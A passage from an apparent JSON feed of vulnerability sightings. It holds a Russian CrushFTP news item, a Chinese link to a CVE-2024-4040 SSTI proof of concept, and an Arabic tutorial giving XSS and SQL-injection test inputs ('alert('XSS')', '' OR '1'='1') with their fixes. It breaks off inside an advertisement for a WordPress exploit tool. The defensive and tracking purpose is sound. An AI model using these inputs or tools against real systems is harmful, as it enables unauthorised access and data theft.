\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c DMZ-\u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044e\u0449\u0443\u044e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f. CrushFTP \u043f\u043e\u043e\u0431\u0435\u0449\u0430\u043b\u0430 \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 CVE, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0435\u0451 \u0441\u0442\u0430\u0442\u0443\u0441 \u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Shodan, \u0431\u043e\u043b\u0435\u0435 3400 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 CrushFTP \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0438\u043c\u0435\u044e\u0442 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0438\u0445 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043c\u0438\u0448\u0435\u043d\u044f\u043c\u0438. \u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u043a\u0430\u043a\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0438\u0437 \u043d\u0438\u0445 \u0443\u0436\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u042d\u0442\u043e \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439, \u043a\u043e\u0433\u0434\u0430 CrushFTP \u0441\u0442\u0430\u043b\u043a\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0441 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0412 \u0430\u043f\u0440\u0435\u043b\u0435 2024 \u0433\u043e\u0434\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f (CVE-2024-4040), \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438. \u0422\u043e\u0433\u0434\u0430 \u0430\u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u0438 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043d\u0430 \u043e\u0431\u0445\u043e\u0434 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432. \u0412 \u0430\u0442\u0430\u043a\u0430\u0445 \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043b\u0430\u0441\u044c \u043f\u043e\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u043d\u0430 \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-03-26T08:49:37.000000Z"}, {"uuid": "bacad112-4180-4658-9719-a1edc28e4ddb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "Telegram/OollRHxvoptfGlV2c1gbdC6jSDWMy1y9qQszI5U7KKS9Kqc", "content": "", "creation_timestamp": "2025-07-04T21:00:04.000000Z"}, {"uuid": "f3230fdc-b108-43d9-99b7-332c1ce410bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "published-proof-of-concept", "source": "Telegram/YEiFamPdgcqsNBKcTHrz6s6bZPTIwshB08cHvtzul5ZyUxA", "content": "", "creation_timestamp": "2025-06-30T21:00:03.000000Z"}, {"uuid": "d5437545-be1a-4015-933f-1e817dfdd161", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8649", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1ais a PoC for CVE-2024-4040 tool for exploiting the SSTI vulnerability in CrushFTP\nURL\uff1ahttps://github.com/geniuszlyy/GenCrushSSTIExploit\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-09-30T16:21:58.000000Z"}, {"uuid": "c5a08a5b-6c13-4c4a-a551-ae6f30dbd9b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40453", "type": "published-proof-of-concept", "source": "Telegram/K3hUGPupZNXNHC7PAa8Zg7tP0paYLzZhTuwIsCOfHpBua0Y", "content": "", "creation_timestamp": "2025-06-08T09:00:05.000000Z"}, {"uuid": "172d7b7f-cb04-4468-b932-37e0208e8cd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40453", "type": "published-proof-of-concept", "source": "Telegram/ZO89xAG6r2OGCSMnMr59xyYialmz8x4RT9vG8HqW5hSL7Qg", "content": "", "creation_timestamp": "2025-06-08T15:00:06.000000Z"}, {"uuid": "98d7785e-8339-4ed2-9fb8-6d5d81c7b333", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40800", "type": "published-proof-of-concept", "source": "https://t.me/cyber_hsecurity/1614", "content": "function displayMessage(userInput) {\n    document.getElementById('message').innerHTML = userInput;\n}\n#### \u0643\u064a\u0641\u064a\u0629 \u0627\u0643\u062a\u0634\u0627\u0641 \u062b\u063a\u0631\u0629 XSS:\n1. \u062a\u062d\u0644\u064a\u0644 \u0627\u0644\u0643\u0648\u062f: \u0627\u0628\u062d\u062b \u0639\u0646 \u0627\u0644\u0623\u0645\u0627\u0643\u0646 \u0627\u0644\u062a\u064a \u064a\u062a\u0645 \u0641\u064a\u0647\u0627 \u0639\u0631\u0636 \u0645\u062f\u062e\u0644\u0627\u062a \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645 \u062f\u0648\u0646 \u062a\u0646\u0642\u064a\u0629 (Sanitization).\n2. \u0627\u062e\u062a\u0628\u0627\u0631 \u0627\u0644\u0645\u062f\u062e\u0644\u0627\u062a: \u062d\u0627\u0648\u0644 \u0625\u062f\u062e\u0627\u0644 \u0634\u064a\u0641\u0631\u0629 JavaScript \u0641\u064a \u0627\u0644\u062d\u0642\u0648\u0644 \u0627\u0644\u062a\u064a \u062a\u0642\u0628\u0644 \u0645\u062f\u062e\u0644\u0627\u062a \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645.\n\n#### \u0645\u062b\u0627\u0644 \u0639\u0645\u0644\u064a:\n\u0644\u0646\u0641\u062a\u0631\u0636 \u0623\u0646 \u0644\u062f\u064a\u0643 \u062d\u0642\u0644 \u0625\u062f\u062e\u0627\u0644 \u0641\u064a \u062a\u0637\u0628\u064a\u0642 kafka-ui \u064a\u0642\u0628\u0644 \u0645\u062f\u062e\u0644\u0627\u062a \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645. \u064a\u0645\u0643\u0646 \u0627\u062e\u062a\u0628\u0627\u0631 \u0627\u0644\u062b\u063a\u0631\u0629 \u0639\u0628\u0631 \u0625\u062f\u062e\u0627\u0644 \u0634\u064a\u0641\u0631\u0629 JavaScript \u0628\u0633\u064a\u0637\u0629 \u0645\u062b\u0644:\nalert('XSS');\n\u0625\u0630\u0627 \u062a\u0645 \u0639\u0631\u0636 \u0627\u0644\u0631\u0633\u0627\u0644\u0629 \u0641\u064a \u0627\u0644\u0645\u062a\u0635\u0641\u062d\u060c \u0641\u0647\u0630\u0627 \u064a\u0639\u0646\u064a \u0623\u0646 \u0627\u0644\u062a\u0637\u0628\u064a\u0642 \u0639\u0631\u0636 \u0627\u0644\u0645\u062f\u062e\u0644\u0627\u062a \u062f\u0648\u0646 \u062a\u0646\u0642\u064a\u0629\u060c \u0645\u0645\u0627 \u064a\u0624\u0643\u062f \u0648\u062c\u0648\u062f \u062b\u063a\u0631\u0629 XSS.\n\n#### \u0643\u064a\u0641\u064a\u0629 \u0627\u0644\u0625\u0635\u0644\u0627\u062d:\n1. \u062a\u0646\u0642\u064a\u0629 \u0627\u0644\u0645\u062f\u062e\u0644\u0627\u062a: \u062a\u0623\u0643\u062f \u0645\u0646 \u062a\u0646\u0642\u064a\u0629 \u0643\u0627\u0641\u0629 \u0627\u0644\u0645\u062f\u062e\u0644\u0627\u062a \u0627\u0644\u062a\u064a \u064a\u062a\u0645 \u0639\u0631\u0636\u0647\u0627 \u0641\u064a \u0627\u0644\u0645\u062a\u0635\u0641\u062d.\n2. \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0645\u0643\u062a\u0628\u0627\u062a \u0623\u0645\u0627\u0646: \u0645\u062b\u0644 DOMPurify \u0644\u062a\u0646\u0642\u064a\u0629 \u0627\u0644\u0645\u062f\u062e\u0644\u0627\u062a.\n\n\u0645\u062b\u0627\u0644 \u0639\u0644\u0649 \u0627\u0644\u0625\u0635\u0644\u0627\u062d \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 DOMPurify:\nfunction displayMessage(userInput) {\n    const sanitizedInput = DOMPurify.sanitize(userInput);\n    document.getElementById('message').innerHTML = sanitizedInput;\n}\n### GHSL-2023-230: \u062b\u063a\u0631\u0629 \u0623\u062e\u0631\u0649\n\u0628\u062f\u0648\u0646 \u062a\u0641\u0627\u0635\u064a\u0644 \u0625\u0636\u0627\u0641\u064a\u0629\u060c \u0645\u0646 \u0627\u0644\u0635\u0639\u0628 \u062a\u062d\u062f\u064a\u062f \u0646\u0648\u0639 \u0627\u0644\u062b\u063a\u0631\u0629. \u0644\u0643\u0646 \u064a\u0645\u0643\u0646 \u0627\u062a\u0628\u0627\u0639 \u0627\u0644\u062e\u0637\u0648\u0627\u062a \u0627\u0644\u0639\u0627\u0645\u0629 \u0644\u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629:\n\n#### \u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0627\u0644\u0636\u0639\u064a\u0641\u0629 (Vulnerable method):\n\u0644\u0646\u0641\u062a\u0631\u0636 \u0623\u0646 \u0644\u062f\u064a\u0646\u0627 \u0637\u0631\u064a\u0642\u0629 \u062a\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u0645\u062f\u062e\u0644\u0627\u062a \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645 \u0641\u064a \u0627\u0633\u062a\u0639\u0644\u0627\u0645 SQL \u062f\u0648\u0646 \u062a\u0646\u0642\u064a\u0629:\n\nString query = \"SELECT * FROM users WHERE username = '\" + userInput + \"'\";\n#### \u0643\u064a\u0641\u064a\u0629 \u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u062b\u063a\u0631\u0629:\n1. \u0645\u0631\u0627\u062c\u0639\u0629 \u0627\u0644\u0643\u0648\u062f: \u0627\u0628\u062d\u062b \u0639\u0646 \u0627\u0644\u0623\u0645\u0627\u0643\u0646 \u0627\u0644\u062a\u064a \u0642\u062f \u062a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u062b\u063a\u0631\u0627\u062a \u0645\u062b\u0644 SQL Injection\u060c CSRF\u060c \u0648\u063a\u064a\u0631\u0647\u0627.\n2. \u0627\u062e\u062a\u0628\u0627\u0631 \u0627\u0644\u0623\u0645\u0627\u0646: \u0627\u0633\u062a\u062e\u062f\u0645 \u0623\u062f\u0648\u0627\u062a \u0645\u062b\u0644 OWASP ZAP \u0623\u0648 Burp Suite \u0644\u0625\u062c\u0631\u0627\u0621 \u0627\u062e\u062a\u0628\u0627\u0631\u0627\u062a \u0623\u0645\u0627\u0646 \u0634\u0627\u0645\u0644\u0629.\n\n#### \u0645\u062b\u0627\u0644 \u0639\u0645\u0644\u064a:\n\u062d\u0627\u0648\u0644 \u0625\u062f\u062e\u0627\u0644 \u0634\u064a\u0641\u0631\u0629 \u0636\u0627\u0631\u0629 \u0641\u064a \u062d\u0642\u0644 \u0627\u0644\u0625\u062f\u062e\u0627\u0644 \u0644\u0627\u062e\u062a\u0628\u0627\u0631 \u0627\u0633\u062a\u0639\u0644\u0627\u0645 SQL Injection:\n' OR '1'='1\n\u0625\u0630\u0627 \u062a\u0645 \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0627\u0633\u062a\u0639\u0644\u0627\u0645 \u0628\u0646\u062c\u0627\u062d \u0648\u0639\u0631\u0636 \u0643\u0627\u0641\u0629 \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u064a\u0646\u060c \u0641\u0647\u0630\u0627 \u064a\u0639\u0646\u064a \u0623\u0646 \u0627\u0644\u062a\u0637\u0628\u064a\u0642 \u0639\u0631\u0636 \u0627\u0644\u0645\u062f\u062e\u0644\u0627\u062a \u062f\u0648\u0646 \u062a\u0646\u0642\u064a\u0629\u060c \u0645\u0645\u0627 \u064a\u0624\u0643\u062f \u0648\u062c\u0648\u062f \u062b\u063a\u0631\u0629 SQL Injection.\n\n#### \u0643\u064a\u0641\u064a\u0629 \u0627\u0644\u0625\u0635\u0644\u0627\u062d:\n1. \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0633\u062a\u0639\u0644\u0627\u0645\u0627\u062a \u0645\u062d\u0636\u0631\u0629 (Prepared Statements): \u062a\u0623\u0643\u062f \u0645\u0646 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0633\u062a\u0639\u0644\u0627\u0645\u0627\u062a \u0645\u062d\u0636\u0631\u0629 \u0644\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u0645\u062f\u062e\u0644\u0627\u062a \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645.\n\n\u0645\u062b\u0627\u0644 \u0639\u0644\u0649 \u0627\u0644\u0625\u0635\u0644\u0627\u062d \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0633\u062a\u0639\u0644\u0627\u0645 \u0645\u062d\u0636\u0631:\nString query = \"SELECT * FROM users WHERE username = ?\";\nPreparedStatement stmt = connection.prepareStatement(query);\nstmt.setString(1, userInput);\nResultSet rs = stmt.executeQuery();\n### \u0623\u062f\u0648\u0627\u062a \u0645\u0641\u064a\u062f\u0629:\n- OWASP ZAP: \u0623\u062f\u0627\u0629 \u0645\u0641\u062a\u0648\u062d\u0629 \u0627\u0644\u0645\u0635\u062f\u0631 \u0644\u0627\u062e\u062a\u0628\u0627\u0631 \u0623\u0645\u0627\u0646 \u0627\u0644\u062a\u0637\u0628\u064a\u0642\u0627\u062a.\n- Burp Suite: \u0623\u062f\u0627\u0629 \u0645\u0647\u0646\u064a\u0629 \u0644\u0627\u062e\u062a\u0628\u0627\u0631 \u0623\u0645\u0627\u0646 \u0627\u0644\u062a\u0637\u0628\u064a\u0642\u0627\u062a.\n\nALSED404:\n\u0643\u0634\u0641\u062a \u0634\u0631\u0643\u0629 \u0645\u0627\u064a\u0643\u0631\u0648\u0633\u0648\u0641\u062a \u0639\u0646 \u0623\u0631\u0628\u0639 \u062b\u063a\u0631\u0627\u062a \u0623\u0645\u0646\u064a\u0629 \u0641\u064a OpenVPN \u0648\u0627\u0644\u062a\u064a \u064a\u0645\u0643\u0646 \u0631\u0628\u0637\u0647\u0627 \u0644\u062a\u0645\u0643\u064a\u0646 RCE \u0648\u062a\u0635\u0639\u064a\u062f \u0627\u0644\u0627\u0645\u062a\u064a\u0627\u0632\u0627\u062a \u0627\u0644\u0645\u062d\u0644\u064a\u0629.\n\n\u064a\u0645\u0643\u0646 \u0623\u0646 \u062a\u0624\u062f\u064a \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0625\u0644\u0649 \u0627\u0644\u062a\u062d\u0643\u0645 \u0627\u0644\u0643\u0627\u0645\u0644 \u0641\u064a \u0646\u0642\u0627\u0637 \u0627\u0644\u0646\u0647\u0627\u064a\u0629 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641\u0629\u060c \u0645\u0645\u0627 \u064a\u0639\u0631\u0636 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0644\u0644\u062e\u0637\u0631 \u0648\u064a\u0639\u0631\u0636 \u0627\u0644\u0646\u0638\u0627\u0645 \u0644\u0644\u062e\u0637\u0631.\n\u0627\u0642\u0631\u0623: https://thehackernews.com/2024/08/microsoft-reveals-four-openvpn-flaws.html\n\nThe Smart Shadow:\n---\n\n\ud83d\udea8 CVE-2024-40800\n\n\u062a\u0645 \u0645\u0639\u0627\u0644\u062c\u0629 \u0645\u0634\u0643\u0644\u0629 \u0641\u064a \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0635\u062d\u0629 \u0627\u0644\u0645\u062f\u062e\u0644\u0627\u062a \u0645\u0646 \u062e\u0644\u0627\u0644 \u062a\u062d\u0633\u064a\u0646 \u0639\u0645\u0644\u064a\u0629 \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0635\u062d\u0629 \u0627\u0644\u0645\u062f\u062e\u0644\u0627\u062a. \u0647\u0630\u0647 \u0627\u0644\u0645\u0634\u0643\u0644\u0629 \u062a\u0645 \u0625\u0635\u0644\u0627\u062d\u0647\u0627 \u0641\u064a \u0627\u0644\u0625\u0635\u062f\u0627\u0631\u0627\u062a \u0627\u0644\u062a\u0627\u0644\u064a\u0629:\n- macOS Sonoma 14.6\n- macOS Monterey 12.7.6\n- macOS Ventura 13.6.8\n\n\ud83d\udd0d \u062a\u0641\u0627\u0635\u064a\u0644 \u0627\u0644\u062b\u063a\u0631\u0629:\n\u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u062a\u062a\u0639\u0644\u0642 \u0628\u0645\u0634\u0643\u0644\u0629 \u0641\u064a \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0635\u062d\u0629 \u0627\u0644\u0645\u062f\u062e\u0644\u0627\u062a\u060c \u0645\u0645\u0627 \u0642\u062f \u064a\u0633\u0645\u062d \u0644\u062a\u0637\u0628\u064a\u0642 \u063a\u064a\u0631 \u0645\u0635\u0631\u062d \u0644\u0647 \u0628\u062a\u0639\u062f\u064a\u0644 \u0623\u062c\u0632\u0627\u0621 \u0645\u062d\u0645\u064a\u0629 \u0645\u0646 \u0646\u0638\u0627\u0645 \u0627\u0644\u0645\u0644\u0641\u0627\u062a. \u0647\u0630\u0627 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0624\u062f\u064a \u0625\u0644\u0649 \u062a\u0639\u062f\u064a\u0644\u0627\u062a \u063a\u064a\u0631 \u0645\u0635\u0631\u062d \u0628\u0647\u0627 \u0639\u0644\u0649 \u0627\u0644\u0646\u0638\u0627\u0645\u060c \u0645\u0645\u0627 \u064a\u0634\u0643\u0644 \u062e\u0637\u0631\u064b\u0627 \u0623\u0645\u0646\u064a\u064b\u0627 \u0643\u0628\u064a\u0631\u064b\u0627.\n\n\ud83d\udcc5 \u062a\u0627\u0631\u064a\u062e \u0627\u0644\u0625\u0635\u062f\u0627\u0631:\n\u062a\u0645 \u0646\u0634\u0631 \u062a\u0641\u0627\u0635\u064a\u0644 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u0641\u064a \u064a\u0648\u0644\u064a\u0648 2024 \u0639\u0644\u0649 \u0645\u0648\u0642\u0639 Full Disclosure\u060c \u0648\u0647\u0648 \u0645\u0635\u062f\u0631 \u0645\u0639\u0631\u0648\u0641 \u0628\u0646\u0634\u0631 \u0645\u0639\u0644\u0648\u0645\u0627\u062a \u062d\u0648\u0644 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629.\n\n\ud83d\udd12 \u0627\u0644\u062a\u0648\u0635\u064a\u0627\u062a:\n\u0646\u0646\u0635\u062d \u062c\u0645\u064a\u0639 \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u064a\u0646 \u0627\u0644\u0630\u064a\u0646 \u064a\u0633\u062a\u062e\u062f\u0645\u0648\u0646 \u0627\u0644\u0625\u0635\u062f\u0627\u0631\u0627\u062a \u0627\u0644\u0645\u0630\u0643\u0648\u0631\u0629 \u0645\u0646 macOS \u0628\u062a\u062d\u062f\u064a\u062b \u0623\u0646\u0638\u0645\u062a\u0647\u0645 \u0641\u0648\u0631\u064b\u0627 \u0625\u0644\u0649 \u0627\u0644\u0625\u0635\u062f\u0627\u0631\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0627\u0644\u0625\u0635\u0644\u0627\u062d\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0627\u0644\u0645\u0630\u0643\u0648\u0631\u0629 \u0623\u0639\u0644\u0627\u0647. \u0627\u0644\u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0636\u0631\u0648\u0631\u064a\u0629 \u0644\u062d\u0645\u0627\u064a\u0629 \u0627\u0644\u0646\u0638\u0627\u0645 \u0645\u0646 \u0627\u0644\u0647\u062c\u0645\u0627\u062a \u0627\u0644\u0645\u062d\u062a\u0645\u0644\u0629 \u0648\u0636\u0645\u0627\u0646 \u0633\u0644\u0627\u0645\u0629 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a.\n\n\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u062a\u0641\u0627\u0635\u064a\u0644\u060c \u064a\u0645\u0643\u0646\u0643\u0645 \u0632\u064a\u0627\u0631\u0629 \u0627\u0644\u0631\u0627\u0628\u0637 \u0627\u0644\u062a\u0627\u0644\u064a: [Full Disclosure - CVE-2024-40800](http://seclists.org/fulldisclosure/2024/Jul/18)\n\n\u0627\u0628\u0642\u0648\u0627 \u0622\u0645\u0646\u064a\u0646! \ud83d\udee1\ufe0f\n\n---\n\n\ud83d\udea8 CVE-2024-39320: \u062b\u063a\u0631\u0629 \u0641\u064a \u0645\u0646\u0635\u0629 Discourse\n\n\u0627\u0643\u062a\u0634\u0641\u062a \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \u0641\u064a \u0645\u0646\u0635\u0629 \u0627\u0644\u0646\u0642\u0627\u0634 \u0645\u0641\u062a\u0648\u062d\u0629 \u0627\u0644\u0645\u0635\u062f\u0631 Discourse \u0642\u0628\u0644 \u0627\u0644\u0625\u0635\u062f\u0627\u0631\u064a\u0646 3.2.5 \u0648 3.3.0.beta5\u060c \u062a\u062a\u064a\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u0625\u0645\u0643\u0627\u0646\u064a\u0629 \u062d\u0642\u0646 \u0625\u0637\u0627\u0631\u0627\u062a (iframes) \u0645\u0646 \u0623\u064a \u0646\u0637\u0627\u0642\u060c \u0645\u062a\u062c\u0627\u0648\u0632\u064a\u0646 \u0627\u0644\u0642\u064a\u0648\u062f \u0627\u0644\u062a\u064a \u064a\u064f\u0641\u062a\u0631\u0636 \u0623\u0646 \u064a\u062a\u0645 \u0641\u0631\u0636\u0647\u0627 \u0639\u0628\u0631 \u0625\u0639\u062f\u0627\u062f allowed_iframes. \n\n\u0623\u0645\u062b\u0644\u0629 \u0639\u0644\u0649 \u0627\u0644\u0647\u062c\u0648\u0645:\n- \u064a\u0645\u0643\u0646 \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u0644\u0625\u062f\u0631\u0627\u062c \u0645\u062d\u062a\u0648\u0649 \u0636\u0627\u0631 \u062f\u0627\u062e\u0644 \u0627\u0644\u0625\u0637\u0627\u0631\u0627\u062a \u0639\u0644\u0649 \u0635\u0641\u062d\u0627\u062a \u0627\u0644\u0645\u0646\u0627\u0642\u0634\u0629\u060c \u0645\u0645\u0627 \u064a\u0639\u0631\u0636 \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u064a\u0646 \u0644\u0645\u062e\u0627\u0637\u0631 \u0645\u062b\u0644 \u0627\u0644\u062a\u0635\u064a\u062f \u0627\u0644\u0627\u062d\u062a\u064a\u0627\u0644\u064a \u0623\u0648 \u0633\u0631\u0642\u0629 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a.\n\n\u0627\u0644\u0625\u0635\u0644\u0627\u062d: \n- \u062a\u0645 \u0625\u0635\u0644\u0627\u062d \u0647\u0630\u0647 \u0627\u0644\u062b\u063a\u0631\u0629 \u0641\u064a \u0627\u0644\u0625\u0635\u062f\u0627\u0631\u064a\u0646 3.2.5 \u0648 3.3.0.beta5. \u064a\u064f\u0646\u0635\u062d \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u0648\u0646 \u0628\u062a\u062d\u062f\u064a\u062b \u0645\u0646\u0635\u0627\u062a\u0647\u0645 \u0625\u0644\u0649 \u0647\u0630\u0647 \u0627\u0644\u0625\u0635\u062f\u0627\u0631\u0627\u062a \u0623\u0648 \u0627\u0644\u0625\u0635\u062f\u0627\u0631\u0627\u062a \u0627\u0644\u0623\u062d\u062f\u062b \u0644\u0636\u0645\u0627\u0646 \u0627\u0644\u062d\u0645\u0627\u064a\u0629 \u0645\u0646 \u0647\u0630\u0627 \u0627\u0644\u0647\u062c\u0648\u0645.", "creation_timestamp": "2024-12-13T19:00:23.000000Z"}, {"uuid": "8fe8a14d-ef40-4b3a-a1c7-990972e4354b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/cyber_hsecurity/3301", "content": "CvEploiterv2 x xWPv3 [Ultimate/Beast Software.]\n\n[The most advanced software for CV 2024 expl0its and WordPress vulnerabilities\n     with the latest version/method.]\n\n1x => CVE-2024-38761 - Wordpress [Zephyr Project Manager] < Unauthenticated Information Exposure.\n\n2x => CVE-2024-38759 - Wordpress [Search & Replace] < Unauthenticated PHP Object 